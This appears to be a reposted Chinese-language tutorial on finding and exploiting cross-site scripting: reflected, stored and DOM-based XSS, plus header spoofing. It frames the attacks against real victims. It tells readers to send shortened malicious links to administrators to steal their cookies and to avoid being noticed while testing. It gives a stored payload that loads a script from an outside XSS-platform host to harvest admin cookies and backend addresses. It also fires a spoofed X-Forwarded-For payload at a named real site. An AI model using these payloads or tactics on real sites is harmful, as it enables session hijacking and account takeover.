0x01 反射型xss
反射型xss是能挖到的xss中最多的,他的原理如下:
1.黑客发现了一个存在反射型xss的URL
2.查看源码根据输出环境构造特定的xss代码,也会进行编码缩短代码,这个可有可无
3.把构造的xss代码发送给受害者
4.受害者点击后执行xss代码
5.完成黑客想要的功能,多是获取cookie
原理就是这么个原理,现在看一下怎么挖掘:
很多工具都可以扫描出反射型xss,但如果想要更隐蔽,或者是某些系统不允许扫描,这个时候就要手工检测了,这也是最能练技术时候,先说一下工具扫描,常见的扫描工具有: Safe3WVS,burpsuite,AWVS,appscan,W3af
image比如如下网站:
image我们在账户输入处输入whoami,查看源代码,按下ctrl+f来搜索:whoami,看出现在哪个位置,来构造特定的payload
image我么可以构造"> <script>alert('XSS')</script>把前面的<input闭合掉,让它执行后面的代码,构造好代码后把URL变成短链接发送给管理员,管理员点击打开获取他的cookie登录
image挖掘反射型xss的方法就是这些,手工也是这个方法,只是需要自己去找存在xss漏洞的网站,手工就一句话:见框就插,改数据包中的参数,改URL中的参数,js源代码分析。
改数据包,js源代码分析比较深就不再细说了,见框就插就比较好理解了,先在输入框输入唯一的字符串,查看源代码字符串的位置,在输入 <>""/&()看过滤了什么,根据过滤的字符来构造特定的xss代码
0x02存储型xss
存储型xss和反射型不同的地方在于他会把输入的数据保存在服务端,反射型输入的数据游走在客户端
存储型xss主要存在于留言板评论区,因为最近没有挖到存储型xss,所以自己写了一个留言板用来演示:
image点击留言(这里最好不要使用<script>alert("xss")</script>来测试是否存在XSS漏洞,容易被管理员发现,所以你可以使用<a></a>来测试,如果成功了,不会被管理员发现)OK,我先在留言里出输入<a>s</a>提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了
image发现没有过滤(如果<a>s</a>是彩色的说明没有过滤,如果是灰色就说明过滤了)
那我就在xss平台里创建一个项目,然后再次留言,里面写上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>我想报名“
image只要管理员点击就会获取管理员cookie和后台地址
0x03 DOM XSS
上面两种都需要服务端的反馈来构造xss,DOM并不需要与服务端进行交互,是基于javascript的,保存如下代码为123.html
<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>
在这里我先解释下上面的意思
Document.write是把里面的内容写到页面里。
document.URL是获取URL地址。
Substring 从某处到某处,把之间的内容获取。
document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符,然后加2(因为a=是两个字符,我们需要把他略去),同时他也是substring的开始值
document.URL.length是获取当前URL的长度,同时也是substring的结束值。
合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。
image怎么会出现这个问题呢?
因为当前url并没有a=的字符,而indexOf的特性是,当获取的值里,如果没有找到自己要检索的值的话,返回-1。找到了则返回0。那么document.URL.indexOf("a=")则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,所以才会出现ile:///C:/Users/Administrator/Desktop/1.html
大致的原理都会了,我们继续下面的
我们可以在123 .html,?a=123或则#a=123,只要不影响前面的路径,而且保证a=出现在URL就可以了。
image我们清楚的看到我们输入的字符被显示出来了。
那我们输入<script>alert("xss")</script>会怎么样呢?
答案肯定是弹窗, 但是,这里没有弹框,主要是因为浏览器过滤了
image0×06 挖掘XSS:
挖掘XSS的技巧很多,各式各样,我这里就简要说明下容易出现XSS的地方。
之前说过了修改输入框和URL参数来实现XSS。我在这里深入一点说明下。
修改URL参数的时候,你看到的只是用GET来传输数据的,还有隐形的数据,他们是用POST来传输数据,只有在数据包里才可以看到。这里不就阐述了,不懂的可以参考之前我写的利用方法,GET和POST利用方法几乎一样。不清楚POST和GET的可以在0×01 前言里查看下我给出的链接。
废话也不说了,下面进入正题。
一:我们都知道当你浏览网站的时候,对方的服务器会记录下你的IP地址。如果我们伪造IP为XSS代码呢?这里说的修改IP为XSS不是说修改PC端的,而是在浏览器也就是网页上的客户端进行修改。
这里需要使用firefox浏览器和两个附件
附件一:X-Forwarded-For Header
因为PHP获取IP有3个函数。而X-Forwarded-For Header就是对其中一个函数X_FORWARDED_FOR起作用,X_FORWARDED_FOR有个缺陷可以使客户端伪造任意IP,当然包括字符串,但是对其他两个函数就不行了。
附件二:Modify Headers
Modify Headers可以伪造数据包内容,当然也可以伪造HTTP_CLIENT_IP来更改IP。
那还有一个REMOTE_ADDR获取IP函数,这个怎么修改呢?答案是无法修改。
REMOTE_ADDR是由 nginx 传递给 php 的参数,所以就是当前 nginx 直接通信的客户端的 IP ,而我们无法插手。所以一旦对方使用了REMOTE_ADDR函数来获取IP,那就没办法了。不过不要紧,一共3个函数,2个函数可以伪造,我们还是有很大的成功率的。好了,开始伪造。
image image伪造好后,我们打开www.ip138.com
成功弹窗了。因为我在X-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是说ip138.com使用的是X_FORWARDED_FOR函数来获取IP的。但是DZ等著名CMS不存在,他们都过滤了。
image参考文章:
web前端黑客技术揭秘学习笔记-XSS漏洞挖掘 - CSDN博客
XSS的原理分析与解剖 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
转载小鸟大佬
原贴链接:https://zhuanlan.zhihu.com/p/35315167
网友评论